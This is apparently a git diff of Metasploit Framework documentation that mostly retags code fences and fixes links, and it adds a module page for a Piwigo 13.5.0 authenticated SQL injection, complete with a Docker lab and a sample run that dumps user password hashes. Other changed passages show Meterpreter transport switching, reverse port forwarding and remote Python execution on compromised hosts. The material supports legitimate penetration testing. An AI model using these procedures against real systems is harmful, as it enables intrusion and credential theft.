If you're working with `meterpreter_reverse_https`, you'll notice that when new shells come in they appear just like an orphaned instance. This is expected behaviour, because a stageless session can't and won't look any different to an old session that hasn't been in touch with Metasploit for a while.
|
||||
If you're working with `meterpreter_reverse_https`, you'll notice that when new shells come in they appear just like an orphaned instance. This is expected behaviour, because a stageless session can't and won't look any different to an old session that hasn't been in touch with Metasploit for a while.
|
||||
|
||||
@@ -44,7 +44,7 @@ While the current time is within the `retry total` time, Meterpreter will consta
|
||||
|
||||
Meterpreter supports the querying and updating of each of these timeouts via the console. In order to get the current timeout settings, users can invoke the `get_timeouts` command, which returns all four of the current timeout settings (one for the global session, and three for the transport-specific settings). An example of which is shown below:
|
||||
|
||||
```
|
||||
```msf
|
||||
meterpreter > get_timeouts
|
||||
Session Expiry : @ 2015-06-09 19:56:05
|
||||
Comm Timeout : 100000 seconds
|
||||
@@ -56,7 +56,7 @@ The `Session Expiry` value is rendered as an absolute local time so that the use
|
||||
|
||||
In order to update these values, users can invoke the `set_timeouts` command. Invoking it without parameters shows the help:
|
||||
|
||||
```
|
||||
```msf
|
||||
meterpreter > set_timeouts
|
||||
Usage: set_timeouts [options]
|
||||
|
||||
@@ -77,7 +77,7 @@ In the case of the `-x` parameter, the value that is to be passed in should repr
|
||||
|
||||
The following example updates the session expiration timeout to be `2` minutes from "now", and changes the retry wait time to `3` seconds:
|
||||
|
||||
```
|
||||
```msf
|
||||
meterpreter > set_timeouts -x 120 -t 3
|
||||
Session Expiry : @ 2015-06-02 22:45:13
|
||||
Comm Timeout : 100000 seconds
|
||||
@@ -86,7 +86,7 @@ Retry Wait Time : 2500 seconds
|
||||
```
|
||||
|
||||
This command can be invoked any number of times while the session is valid, but as soon as the session has expired, Metepreter will shut down and it's game over:
|
||||
```
|
||||
```msf
|
||||
meterpreter >
|
||||
[*] 10.1.10.35 - Meterpreter session 2 closed. Reason: Died
|
||||
```
|
||||
|
||||
@@ -26,7 +26,7 @@ Meterpreter has a new base command called `transport`. This is the hub of all tr
|
||||
|
||||
The following output shows the current help text for the `transport` command:
|
||||
|
||||
```bash
|
||||
```msf
|
||||
meterpreter > transport
|
||||
Usage: transport <list|change|add|next|prev|remove> [options]
|
||||
|
||||
@@ -65,7 +65,7 @@ OPTIONS:
|
||||
|
||||
The simplest of all the sub-commands in the `transport` set is `list`. This command shows the full list of currently enabled transport, and an indicator of which one is the "current" transport. The following shows the non-verbose output with just the default transport running:
|
||||
|
||||
```bash
|
||||
```msf
|
||||
meterpreter > transport list
|
||||
Session Expiry : @ 2015-06-09 19:56:05
|
||||
|
||||
@@ -82,7 +82,7 @@ The above output shows that we have one transport enabled that is using `TCP`. W
|
||||
|
||||
The verbose version of this command shows more detail about the transport, but only in cases where extra detail is available (such as `reverse_http/s`). The following command shows the output of the `list` sub-command with the verbose flag (`-v`) after an `HTTP` transport has been added:
|
||||
|
||||
```bash
|
||||
```msf
|
||||
meterpreter > transport list -v
|
||||
Session Expiry : @ 2015-06-09 19:56:05
|
||||
|
||||
@@ -98,7 +98,7 @@ Adding transports gives Meterpreter the ability to work on different transport m
|
||||
|
||||
The following command shows a simple example that adds a `reverse_http` transport to an existing Meterpreter session. It specifies a custom communications timeout, retry total and retry wait, and also specifies a custom user-agent string to be used for the HTTP requests:
|
||||
|
||||
```bash
|
||||
```msf
|
||||
meterpreter > transport add -t reverse_http -l 10.1.10.40 -p 5105 -T 50000 -W 2500 -C 100000 -A "Totes-Legit Browser/1.1"
|
||||
[*] Adding new transport ...
|
||||
[+] Successfully added reverse_http transport.
|
||||
@@ -127,7 +127,7 @@ It is also possible to specify the following:
|
||||
|
||||
The following shows another example which adds another `reverse_tcp` transport to the transport list:
|
||||
|
||||
```bash
|
||||
```msf
|
||||
meterpreter > transport add -t reverse_tcp -l 10.1.10.40 -p 5005
|
||||
[*] Adding new transport ...
|
||||
[+] Successfully added reverse_tcp transport.
|
||||
@@ -155,7 +155,7 @@ The three different ways to change transports are:
|
||||
|
||||
As an example, here is the current transport setup:
|
||||
|
||||
```bash
|
||||
```msf
|
||||
meterpreter > transport list
|
||||
Session Expiry : @ 2015-06-09 19:56:05
|
||||
|
||||
@@ -168,7 +168,7 @@ Session Expiry : @ 2015-06-09 19:56:05
|
||||
|
||||
Moving to the next transport:
|
||||
|
||||
```bash
|
||||
```msf
|
||||
meterpreter > transport next
|
||||
[*] Changing to next transport ...
|
||||
[+] Successfully changed to the next transport, killing current session.
|
||||
@@ -195,7 +195,7 @@ This output shows that we moved from the original `reverse_tcp` to the `reverse_
|
||||
|
||||
Moving to the next transport again takes the session to the second `reverse_tcp` listener:
|
||||
|
||||
```bash
|
||||
```msf
|
||||
meterpreter > transport next
|
||||
[*] Changing to next transport ...
|
||||
[+] Successfully changed to the next transport, killing current session.
|
||||
@@ -218,7 +218,7 @@ Session Expiry : @ 2015-06-09 19:56:06
|
||||
|
||||
From here, moving backward sends Meterpreter back to the `reverse_http` listener:
|
||||
|
||||
```bash
|
||||
```msf
|
||||
meterpreter > transport prev
|
||||
[*] Changing to previous transport ...
|
||||
|
||||
@@ -252,7 +252,7 @@ The command is similar to `add` in that it takes a subset of the parameters, and
|
||||
* `-p` - The `LPORT` value.
|
||||
* `-u` - This value is only required for `reverse_http/s` transports and needs to contain the URI of the transport in question. This is important because there might be multiple listeners on the same IP and port, so the URI is what differentiates each of the sessions.
|
||||
|
||||
```bash
|
||||
```msf
|
||||
[*] Starting interaction with 2...
|
||||
|
||||
meterpreter > transport list
|
||||
@@ -282,7 +282,7 @@ Previously, Meterpreter only had built-in resiliency in the `HTTP/S` payloads an
|
||||
|
||||
The following shows Metasploit being closed and leaving the existing `TCP` session running behind the scenes:
|
||||
|
||||
```bash
|
||||
```msf
|
||||
meterpreter > transport list
|
||||
Session Expiry : @ 2015-06-09 19:56:05
|
||||
|
||||
@@ -301,7 +301,7 @@ With Metasploit closed, the Meterpreter session has detected that the transport
|
||||
|
||||
The following output shows Metasploit being re-launched with the appropriate listeners, and the existing Meterpreter instance establishing a session automatically:
|
||||
|
||||
```bash
|
||||
```msf
|
||||
./msfconsole -r ~/msf.rc
|
||||
[*] Starting the Metasploit Framework console...|
|
||||
IIIIII dTb.dTb _.---._
|
||||
|
||||
@@ -49,7 +49,7 @@ If you go to `metasploit-framework/documentation/modules`, you'll see that there
|
||||
|
||||
For example:
|
||||
|
||||
```
|
||||
```msf
|
||||
msf> use auxiliary/scanner/smb/smb_login
|
||||
msf (smb_login)> info
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@ Installers are built nightly for macOS, Windows (64-bit) and Linux. These insta
|
||||
|
||||
The following script invocation will import the Rapid7 signing key and setup the package for supported Linux and macOS systems:
|
||||
|
||||
```
|
||||
```sh
|
||||
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
|
||||
chmod 755 msfinstall && \
|
||||
./msfinstall
|
||||
@@ -33,7 +33,7 @@ If you downloaded Metasploit from us, there is no cause for alarm. We pride our
|
||||
### Windows silent installation
|
||||
|
||||
The PowerShell below will download and install the framework, and is suitable for automated Windows deployments. Note that, the installer will be downloaded to `$DownloadLocation` and won't be deleted after the script has run.
|
||||
```
|
||||
```powershell
|
||||
[CmdletBinding()]
|
||||
Param(
|
||||
$DownloadURL = "https://windows.metasploit.com/metasploitframework-latest.msi",
|
||||
|
||||
@@ -290,7 +290,7 @@ Active sessions
|
||||
#### Local Port Forwarding
|
||||
To set up a port forward using Metasploit, use the `portfwd` command within a supported session's console such as the Meterpreter console. Using `portfwd -h` will bring up a help menu similar to the following:
|
||||
|
||||
```
|
||||
```msf
|
||||
meterpreter > portfwd -h
|
||||
Usage: portfwd [-h] [add | delete | list | flush] [args]
|
||||
|
||||
@@ -309,7 +309,7 @@ meterpreter >
|
||||
|
||||
To add a port forward, use `portfwd add` and specify the `-l`, `-p` and `-r` options at a minimum to specify the local port to listen on, the report port to connect to, and the target host to connect to respectively.
|
||||
|
||||
```
|
||||
```msf
|
||||
meterpreter > portfwd add -l 1090 -p 443 -r 169.254.37.128
|
||||
[*] Local TCP relay created: :1090 <-> 169.254.37.128:443
|
||||
meterpreter >
|
||||
@@ -338,7 +338,7 @@ Note that you may need to edit your `/etc/hosts` file to map IP addresses to giv
|
||||
#### Listing Port Forwards and Removing Entries
|
||||
Can list port forwards using the `portfwd list` command. To delete all port forwards use `portfwd flush`. Alternatively to selectively delete local port forwarding entries, use `portfwd delete -l <local port>`.
|
||||
|
||||
```
|
||||
```msf
|
||||
meterpreter > portfwd delete -l 1090
|
||||
[*] Successfully stopped TCP relay on 0.0.0.0:1090
|
||||
meterpreter > portfwd list
|
||||
@@ -355,7 +355,7 @@ To set up a reverse port forward, use `portfwd add -R` within a supported sessio
|
||||
|
||||
For example to listen on port 9093 on a target session and have it forward all traffic to the Metasploit machine at 172.20.97.72 on port 9093 we could execute `portfwd add -R -l 4444 -L 172.20.97.73 -p 9093` as shown below, which would then cause the machine who have a session on to start listening on port 9093 for incoming connections.
|
||||
|
||||
```
|
||||
```msf
|
||||
meterpreter > portfwd add -R -l 4444 -L 172.20.97.73 -p 9093
|
||||
[*] Local TCP relay created: 172.20.97.73:4444 <-> :9093
|
||||
meterpreter > netstat -a
|
||||
@@ -446,7 +446,7 @@ socks5 127.0.0.1 1080
|
||||
|
||||
The final final should look something like this:
|
||||
|
||||
```
|
||||
```ini
|
||||
# proxychains.conf VER 3.1
|
||||
#
|
||||
# HTTP, SOCKS4, SOCKS5 tunneling proxifier with DNS.
|
||||
|
||||
@@ -11,12 +11,12 @@ Unfortunately, at this point in time the extension only works inside x86 and x64
|
||||
# Usage
|
||||
|
||||
As with any other extension that comes with Meterpreter, loading it is very simple:
|
||||
```
|
||||
```msf
|
||||
meterpreter > use python
|
||||
Loading extension python...success.
|
||||
```
|
||||
Once loaded, the help system shows the commands that come with the extension:
|
||||
```
|
||||
```msf
|
||||
meterpreter > help
|
||||
|
||||
... snip ...
|
||||
@@ -36,7 +36,7 @@ Each of these commands is discussed in detail below.
|
||||
## python_execute
|
||||
|
||||
The `python_execute` command is the simplest of all commands that come with the extension, and provides the means to run single-shot lines of Python code, much in the same way that the normal Python interpreter functions from the command-line when using the `-c` switch. The full help for the command is as follows:
|
||||
```
|
||||
```msf
|
||||
meterpreter > python_execute -h
|
||||
Usage: python_execute <python code> [-r result var name]
|
||||
|
||||
@@ -50,13 +50,13 @@ OPTIONS:
|
||||
-r <opt> Name of the variable containing the result (optional)
|
||||
```
|
||||
A very simple example of this command is shown below:
|
||||
```
|
||||
```msf
|
||||
meterpreter > python_execute "print 'Hi, from Meterpreter!'"
|
||||
[+] Content written to stdout:
|
||||
Hi, from Meterpreter!
|
||||
```
|
||||
Notice that any output that is written to stdout is captured by Meterpreter and returned to Metasploit so that it's visible to the user. This also happens for anything written to stderr, as shown below:
|
||||
```
|
||||
```msf
|
||||
meterpreter > python_execute "x = x + 1"
|
||||
[-] Content written to stderr:
|
||||
Traceback (most recent call last):
|
||||
@@ -66,25 +66,25 @@ NameError: name 'x' is not defined
|
||||
This handy feature now only allows users to see the output of their scripts, but it also means that any errors are completely visible too.
|
||||
|
||||
A more interesting example can be seen below:
|
||||
```
|
||||
```msf
|
||||
meterpreter > python_execute "x = [y for y in range(0, 20) if y % 5 == 0]"
|
||||
[+] Command executed without returning a result
|
||||
```
|
||||
The command above executes, but nothing was printed to stdout, or to stderr, and hence nothing was captured.
|
||||
|
||||
The good thing is that the Python extension is persistant across calls. This means that after the above command is executed, `x` is still present in the interpreter and can be accessed with another call:
|
||||
```
|
||||
```msf
|
||||
meterpreter > python_execute "print x"
|
||||
[+] Content written to stdout:
|
||||
[0, 5, 10, 15]
|
||||
```
|
||||
As useful as this is, developers may want to produce post-modules that make use of the data that a Python script has generated. Parsing stdout is not ideal in such a scenario, and hence this command provides the means for individual variables to be extracted directly using the `-r` paramter, as described by the help:
|
||||
```
|
||||
```msf
|
||||
meterpreter > python_execute "x = [y for y in range(0, 20) if y % 5 == 0]" -r x
|
||||
[+] x = [0, 5, 10, 15]
|
||||
```
|
||||
Note that this command requires the first parameter to be a string that contains code that needs to be executed. However, this string can be blank, resulting in no code being executed. This means that extraction of content generated in previous calls is still possible without executing more code, or rerunning previous code snippets just to make use of the `-r` parameter:
|
||||
```
|
||||
```msf
|
||||
meterpreter > python_execute "" -r x
|
||||
[+] x = [0, 5, 10, 15]
|
||||
```
|
||||
@@ -95,7 +95,7 @@ Sometimes, single-line execution isn't enough, or is cumbersome. The `python_imp
|
||||
## python_import
|
||||
|
||||
This command allows for whole modules to be loaded from the attacker's machine an uploaded to the target interpreter. The full help is shown below:
|
||||
```
|
||||
```msf
|
||||
meterpreter > python_import -h
|
||||
Usage: python_import <-f file path> [-n mod name] [-r result var name]
|
||||
|
||||
@@ -114,8 +114,8 @@ OPTIONS:
|
||||
Importing of module trees is still considered a _beta_ feature, but we encourage you to use it where possible and keep us informed of any issues you may face.
|
||||
|
||||
Consider the following script:
|
||||
```
|
||||
$ cat /tmp/drives.py
|
||||
```python
|
||||
# $ cat /tmp/drives.py
|
||||
import string
|
||||
from ctypes import windll
|
||||
|
||||
@@ -133,7 +133,7 @@ result = get_drives()
|
||||
print result
|
||||
```
|
||||
The aim of this is to determine all the local logical drives and put the letters into a list. From there it prints that list to screen. The result of running the script is as follows:
|
||||
```
|
||||
```msf
|
||||
meterpreter > python_import -f /tmp/drives.py
|
||||
[*] Importing /tmp/drives.py ...
|
||||
[+] Content written to stdout:
|
||||
@@ -146,7 +146,7 @@ This command is also intended to allow for recursive loading of modules from the
|
||||
## python_reset
|
||||
|
||||
It may get to a point where the content of the interpreter needs to be flushed. The `python_reset` command clears out all imports, libraries and global variables:
|
||||
```
|
||||
```msf
|
||||
meterpreter > python_execute "x = 100"
|
||||
[+] Command executed without returning a result
|
||||
meterpreter > python_execute "print x"
|
||||
@@ -244,7 +244,7 @@ It is not possible to delete transports using the python extension as this opens
|
||||
|
||||
### Bindings example
|
||||
|
||||
```
|
||||
```msf
|
||||
meterpreter > getuid
|
||||
Server username: WIN-TV01I7GG7JK\oj
|
||||
meterpreter > python_execute "import meterpreter.user; print meterpreter.user.getuid()"
|
||||
|
||||
@@ -8,18 +8,18 @@ Clone a new metasploit-framework.git repository:
|
||||
|
||||
Go there and check out every remote branch we've got. That way, if you screw up and delete something important, you can add it back in later from this backup clone.
|
||||
|
||||
````
|
||||
```
|
||||
todb@presto:~/github/todb-r7$ cd msf-backup.git
|
||||
`todb@presto:~/github/todb-r7/metasploit-framework$ for b in `git branch -r | grep -v "HEAD -> origin" | sed 's/^ origin\///'`; do git checkout -b $b --track origin/$b; done
|
||||
````
|
||||
```
|
||||
|
||||
Tarball it out of the way.
|
||||
|
||||
````
|
||||
```
|
||||
todb@presto:~/github/todb-r7$ cd ..
|
||||
todb@presto:~/github$ tar zxvf msf-backup.git.tar.gz
|
||||
todb@presto:~/github$ rm -rf msf-backup.git
|
||||
````
|
||||
```
|
||||
|
||||
# Make a new clone
|
||||
|
||||
@@ -35,10 +35,10 @@ First, wipe out anything that responds to prune. Usually that's not a lot.
|
||||
|
||||
Next, take a look at what's already merged and what's not. We can drop most of the merged stuff right away.
|
||||
|
||||
````
|
||||
```
|
||||
mazikeen:./msf-prune$ git branch -r --merged
|
||||
mazikeen:./msf-prune$ git branch -r --no-merged
|
||||
````
|
||||
```
|
||||
|
||||
That gives a pretty good idea of how many branches we're talking about.
|
||||
|
||||
@@ -46,21 +46,21 @@ That gives a pretty good idea of how many branches we're talking about.
|
||||
|
||||
Here's a one-liner, lightly modified from http://stackoverflow.com/questions/2514172/listing-each-branch-and-its-last-revisions-date-in-git#2514279 which lists all remote **merged** branches in date order.
|
||||
|
||||
````
|
||||
```
|
||||
mazikeen:./msf-prune$ for k in `git branch -r --merged |grep -v "HEAD ->" | sed s/^..//`; do echo -e `git log -1 --pretty=format:"%Cgreen%ci %Cblue%cr%Creset" $k --`\\t"$k";done | sort
|
||||
````
|
||||
```
|
||||
|
||||
Count off how many you want to keep at the end, do the arithmetic, and tack on another couple pipes to catch everything that's more than two weeks old. These are the merged branches that nobody's likely to miss.
|
||||
|
||||
`````
|
||||
```
|
||||
mazikeen:./msf-prune$ for k in `git branch -r --merged |grep -v "HEAD ->" | sed s/^..//`; do echo -e `git log -1 --pretty=format:"%Cgreen%ci %Cblue%cr%Creset" $k --`\\t"$k";done | sort | head -45 | sed "s/^.*origin\///" > /tmp/merged_to_delete.txt
|
||||
````
|
||||
```
|
||||
|
||||
Pull the trigger:
|
||||
|
||||
````
|
||||
```
|
||||
mazikeen:./msf-prune$ for b in `cat /tmp/merged_to_delete.txt`; do echo Deleting $b && git push origin :$b; done
|
||||
````
|
||||
```
|
||||
|
||||
Note that we still have our tarball, so if we need to reinstate any of these branches, just need to re-push.
|
||||
|
||||
|
||||
@@ -31,14 +31,14 @@ You can inspect exactly what commits are contained in this merge with the follow
|
||||
|
||||
Like so:
|
||||
|
||||
````
|
||||
```
|
||||
$ git log bad-merge...bad-merge~ --oneline
|
||||
3996557 Fix conflcit lib/msf/util/exe.rb
|
||||
6296c4f Merge pull request #9 from tabassassin/retab/pr/2320
|
||||
d0a3ea6 Retab changes for PR #2320
|
||||
bff7d0e Merge for retab
|
||||
4c9e6a8 Default to exe-small
|
||||
````
|
||||
```
|
||||
|
||||
The syntax is a little wacky, but this is saying, "Show me all the commit hashes that occur from the `bad-merge` point to one back from `bad-merge` (in other words, from right before `bad-merge` was merged). That's what the tilde (~) means. You could also use `bad-merge^` or `bad-merge^1`, they're all equivalent.
|
||||
|
||||
|
||||
@@ -4,9 +4,9 @@ If you're in the business of writing or collecting Metasploit modules that aren'
|
||||
|
||||
You must first set up a directory structure that fits with Metasploit's expectations of path names. What this typically means is that you should first create an "exploits" directory structure, like so:
|
||||
|
||||
````bash
|
||||
```bash
|
||||
mkdir -p $HOME/.msf4/modules/exploits
|
||||
````
|
||||
```
|
||||
|
||||
If you are using `auxiliary` or `post` modules, or are writing `payloads` you'll want to `mkdir` those as well.
|
||||
|
||||
@@ -14,9 +14,9 @@ If you are using `auxiliary` or `post` modules, or are writing `payloads` you'll
|
||||
|
||||
Modules are sorted by (somewhat arbitrary) categories. These can be anything you like; I usually use `test` or `private`, but if you are developing a module with an eye toward providing it to the main Metasploit distribution, you will want to mirror the real module path. For example:
|
||||
|
||||
````bash
|
||||
```bash
|
||||
mkdir -p $HOME/.msf4/modules/exploits/windows/fileformat
|
||||
````
|
||||
```
|
||||
|
||||
... if you are developing a file format exploit for Windows.
|
||||
|
||||
@@ -36,7 +36,7 @@ For full details:
|
||||
|
||||
If you already have msfconsole running, use a `reload_all` command to pick up your new modules. If not, just start msfconsole and they'll be picked up automatically. If you'd like to test with something generic, I have a module posted up as a gist, here: <https://gist.github.com/todb-r7/5935519>, so let's give it a shot:
|
||||
|
||||
````bash
|
||||
```bash
|
||||
mkdir -p $HOME/.msf4/modules/exploits/test
|
||||
curl -Lo ~/.msf4/modules/exploits/test/test_module.rb https://gist.github.com/todb-r7/5935519/raw/17f7e40ab9054051c1f7e0655c6f8c8a1787d4f5/test_module.rb
|
||||
todb@ubuntu:~$ mkdir -p $HOME/.msf4/modules/exploits/test
|
||||
@@ -44,7 +44,7 @@ todb@ubuntu:~$ curl -Lo ~/.msf4/modules/exploits/test/test_module.rb https://gis
|
||||
% Total % Received % Xferd Average Speed Time Time Time Current
|
||||
Dload Upload Total Spent Left Speed
|
||||
100 1140 0 1140 0 0 3607 0 --:--:-- --:--:-- --:--:-- 7808
|
||||
````
|
||||
```
|
||||
|
||||
Then, in my msfconsole window:
|
||||
|
||||
|
||||
+3
-3
@@ -176,7 +176,7 @@ git config commit.gpgsign true
|
||||
|
||||
Developers tend to customize their own [git aliases] to speed up common commands, but here are a few common ones:
|
||||
|
||||
```
|
||||
```ini
|
||||
[alias]
|
||||
# An easy, colored oneline log format that shows signed/unsigned status
|
||||
nicelog = log --pretty=format:'%Cred%h%Creset -%Creset %s %Cgreen(%cr) %C(bold blue)<%aE>%Creset [%G?]'
|
||||
@@ -216,9 +216,9 @@ We're excited to see your upcoming contributions of new modules, documentation,
|
||||
|
||||
Finally, we welcome your feedback on this guide, so feel free to reach out to us on [Slack] or open a [new issue]. For their significant contributions to this guide, we would like to thank [@kernelsmith], [@corelanc0d3r], and [@ffmike].
|
||||
|
||||
[commercial-installer]:http://metasploit.com/download
|
||||
[commercial-installer]:https://metasploit.com/download
|
||||
[kali-user-instructions]:https://docs.kali.org/general-use/starting-metasploit-framework-in-kali
|
||||
[parrot-user-instructions]:https://parrotsec.org/docs/installation.html
|
||||
[parrot-user-instructions]:https://parrotsec.org/docs/category/installation
|
||||
[CONTRIBUTING.md]:https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md
|
||||
|
||||
[Ubuntu]:https://www.ubuntu.com/download/desktop
|
||||
|
||||
@@ -14,7 +14,7 @@ The following sites are great references for Git padawans and jedi alike:
|
||||
* [Git is Easier Than You Think](http://nfarina.com/post/9868516270/git-is-simpler): A nice tutorial that breaks down one Git user's experience switching from Subversion.
|
||||
* [PeepCode: Git](http://peepcode.com/products/git): A one-hour (not-free) screencast covering Git basics. Well-made and easy to follow.
|
||||
* [GitHub Flow](http://scottchacon.com/2011/08/31/github-flow.html): Another great post from Scott Chacon describing a GitHub-based workflow for projects.
|
||||
* [Getting Started with GitHub](http://pragprog.com/screencasts/v-scgithub/insider-guide-to-github): Also from GitHub's own Scott Chacon, this two-part screencast (one free and one paid) will walk you through the basics of using GitHub.
|
||||
* [Getting Started with GitHub](https://pragprog.com/screencasts/v-scgithub/insider-guide-to-github): Also from GitHub's own Scott Chacon, this two-part screencast (one free and one paid) will walk you through the basics of using GitHub.
|
||||
|
||||
|
||||
## Using Git in Editors
|
||||
|
||||
@@ -110,8 +110,8 @@ your day-to-day workflow with Git.
|
||||
## Git in Bash
|
||||
When using Git, it's very handy (read: pretty much mandatory) to have an ambient cue in your shell telling you what branch you're currently on. Use this function in your .profile/.bashrc/.bash_profile to enable you to place your Git branch in your prompt:
|
||||
|
||||
````
|
||||
```sh
|
||||
function parse_git_branch {
|
||||
git branch --no-color 2> /dev/null | sed -e '/^[^*]/d' -e 's/* \(.*\)/(\1)/'
|
||||
}
|
||||
````
|
||||
```
|
||||
|
||||
@@ -12,7 +12,7 @@ A fork is when you snapshot someone else's codebase into your own repo, presumab
|
||||
|
||||
You only fork once, you clone as many times as you have machines on which you want to code, and you branch, commit, and push as often as you like (you don't always have to push, you can push later or not at all, but you'll have to push before doing a pull request, a.k.a. PR), and you submit a PR when you are ready. See below
|
||||
|
||||
```
|
||||
```plaintext
|
||||
github.com/rapid7/metasploit-framework --> fork --> github.com/<...>/metasploit-framework
|
||||
^ |
|
||||
| git clone git://github.com/<...>/metasploit-framework.git
|
||||
@@ -26,4 +26,4 @@ github.com/rapid7/metasploit-framework --> fork --> github.com/<...>/metasploit-
|
||||
`-- push <-- branch_xyz
|
||||
```
|
||||
|
||||
(Thanks to kernelsmith for this excellent description)
|
||||
(Thanks to kernelsmith for this excellent description)
|
||||
|
||||
@@ -198,8 +198,7 @@ Asking for: https/TSTWLPT1000000
|
||||
|
||||
Tickets in the current session can be viewed like so:
|
||||
|
||||
```
|
||||
|
||||
```msf
|
||||
meterpreter > kerberos_ticket_list
|
||||
[+] Kerberos tickets found in the current session.
|
||||
[00000000] - 0x00000012 - aes256_hmac
|
||||
|
||||
+5
-1
@@ -272,7 +272,7 @@ NAVIGATION_CONFIG = [
|
||||
{
|
||||
path: 'How-to-use-msfvenom.md',
|
||||
nav_order: 7
|
||||
},
|
||||
}
|
||||
]
|
||||
},
|
||||
{
|
||||
@@ -303,6 +303,10 @@ NAVIGATION_CONFIG = [
|
||||
path: 'Metasploit-Database-Support.md',
|
||||
title: 'Database Support'
|
||||
},
|
||||
{
|
||||
path: 'How-To-Use-Plugins.md',
|
||||
title: 'Metasploit Plugins',
|
||||
}
|
||||
]
|
||||
},
|
||||
{
|
||||
|
||||
@@ -15,7 +15,7 @@ Follow the steps in the [[Installing AD CS|ad-certificates/overview.md#installin
|
||||
|
||||
## Module usage
|
||||
|
||||
The `admin/ldap/ad_cs_template` module is generally used to update a certificate template as part of an ESC4 attack.
|
||||
The `admin/ldap/ad_cs_cert_template` module is generally used to update a certificate template as part of an ESC4 attack.
|
||||
|
||||
1. From msfconsole
|
||||
2. Do: `use auxiliary/admin/ldap/ad_cs_cert_template`
|
||||
|
||||
@@ -0,0 +1,132 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits an authenticated SQL injection vulnerability
|
||||
caused by improper handling of user-supplied input in Piwigo (Photo Gallery).
|
||||
The vulnerability can be found in Piwigo version 13.5.0.
|
||||
By exploiting this vulnerability, an attacker can execute arbitrary SQL queries,
|
||||
potentially gaining unauthorized access to sensitive information or manipulating the database.
|
||||
For a detailed technical analysis of this vulnerability,
|
||||
please refer to the [https://github.com/advisories/GHSA-4xvf-3477-vq63](https://github.com/advisories/GHSA-4xvf-3477-vq63).
|
||||
|
||||
## Options
|
||||
|
||||
To successfully perform a SQL injection attack, you need to configure the module's `RHOSTS`
|
||||
option with a valid Piwigo endpoint (`TARGETURI`).
|
||||
Additionally, set the `USERNAME` option to specify the name of a privileged user and provide the corresponding `PASSWORD`.
|
||||
|
||||
## Testing
|
||||
|
||||
To setup a test environment, the following steps can be performed.
|
||||
|
||||
1. Install docker [https://docker.io](docker.io)
|
||||
2. Inside any directory create the dockerfile bellow:
|
||||
|
||||
```yaml
|
||||
FROM alpine:3.10.3
|
||||
LABEL maintainer="Moritz Heiber <hello@heiber.im>"
|
||||
|
||||
ENV PIWIGO_VERSION="13.5.0"
|
||||
RUN set -x && apk --no-cache add curl php7 php7-gd php7-mysqli php7-json php7-session php7-exif && \
|
||||
curl "http://piwigo.org/download/dlcounter.php?code=${PIWIGO_VERSION}" --output piwigo.zip && \
|
||||
adduser -h /piwigo -DS piwigo && unzip piwigo.zip -d /piwigo && \
|
||||
install -d -o piwigo /piwigo/piwigo/galleries /piwigo/piwigo/upload && \
|
||||
chown -R piwigo /piwigo/piwigo/local && \
|
||||
apk --no-cache del curl && rm piwigo.zip
|
||||
|
||||
WORKDIR /piwigo
|
||||
USER piwigo
|
||||
|
||||
CMD ["php","-S","0.0.0.0:8000","-t","piwigo"]
|
||||
```
|
||||
|
||||
3. Install `docker-compose` and create a file called `docker-compose.yml` with the following content:
|
||||
|
||||
```yaml
|
||||
version: '3'
|
||||
services:
|
||||
piwigo:
|
||||
container_name: piwigo
|
||||
image: piwigo-docker
|
||||
networks:
|
||||
- piwigo
|
||||
ports:
|
||||
- "8000:8000"
|
||||
mysql:
|
||||
container_name: piwigo_mysql
|
||||
image: mysql:8.0.18
|
||||
command: ["--default-authentication-plugin=mysql_native_password"]
|
||||
networks:
|
||||
- piwigo
|
||||
environment:
|
||||
MYSQL_USER: "piwigo"
|
||||
MYSQL_PASSWORD: "piwigo"
|
||||
MYSQL_DATABASE: "piwigo"
|
||||
MYSQL_RANDOM_ROOT_PASSWORD: "true"
|
||||
|
||||
networks:
|
||||
piwigo:
|
||||
```
|
||||
|
||||
4. Execute the commands `docker build -t piwigo-docker .` and `docker-compose up -d`
|
||||
inside the folder that contains the `docker-compose.yml` and `Dockerfile` files.
|
||||
5. Then Piwigo's installation page should be available at http://localhost:8000
|
||||
6. Setup the database with `mysql` as url of database, **piwigo** as `username` **piwigo** as `password`
|
||||
7. Login as priviledge user and create any photo album and upload any photo to that album.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. Use the `auxiliary/gather/piwigo_cve_2023_26876 module`.
|
||||
3. `set RHOSTS <TARGET_IP_ADDRESS>`
|
||||
4. Set the `TARGETURI` option to the target HTTP path
|
||||
5. Set the `USERNAME` option to piwigo.
|
||||
6. Set the `PASSWORD` option to piwigo.
|
||||
7. `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Piwigo SQL Injection
|
||||
|
||||
```
|
||||
msf6 auxiliary(gather/piwigo_cve_2023_26876) > show options
|
||||
|
||||
Module options (auxiliary/gather/piwigo_cve_2023_26876):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
PASSWORD piwigo yes The password for authenticating to Piwigo
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 80 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI / yes The base path to Piwigo
|
||||
USERNAME piwigo yes The username for authenticating to Piwigo
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 auxiliary(gather/piwigo_cve_2023_26876) > run
|
||||
[*] Running module against 127.0.0.1
|
||||
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. The target is running Piwigo with version 13.5.0
|
||||
[*] Try to log in..
|
||||
[+] Successfully logged into Piwigo
|
||||
[+] Target is vulnerable
|
||||
[*] Dump of usernames and hashes:
|
||||
|
||||
Piwigo Users
|
||||
============
|
||||
|
||||
username hash
|
||||
-------- ----
|
||||
admin $P$GAO2fLIGJtRyQCNf96KbQ9PeiDAuii/
|
||||
guest
|
||||
piwigo $P$GNrJljahQW2NXTXhWNZdalgGiao/T1/
|
||||
test1 $P$G2HB46S.PMs5gExCAfXCMUW2p1HwA60
|
||||
user $P$GE/wX1wqKM0WKkAGXvhYihdPhgl5Mw/
|
||||
|
||||
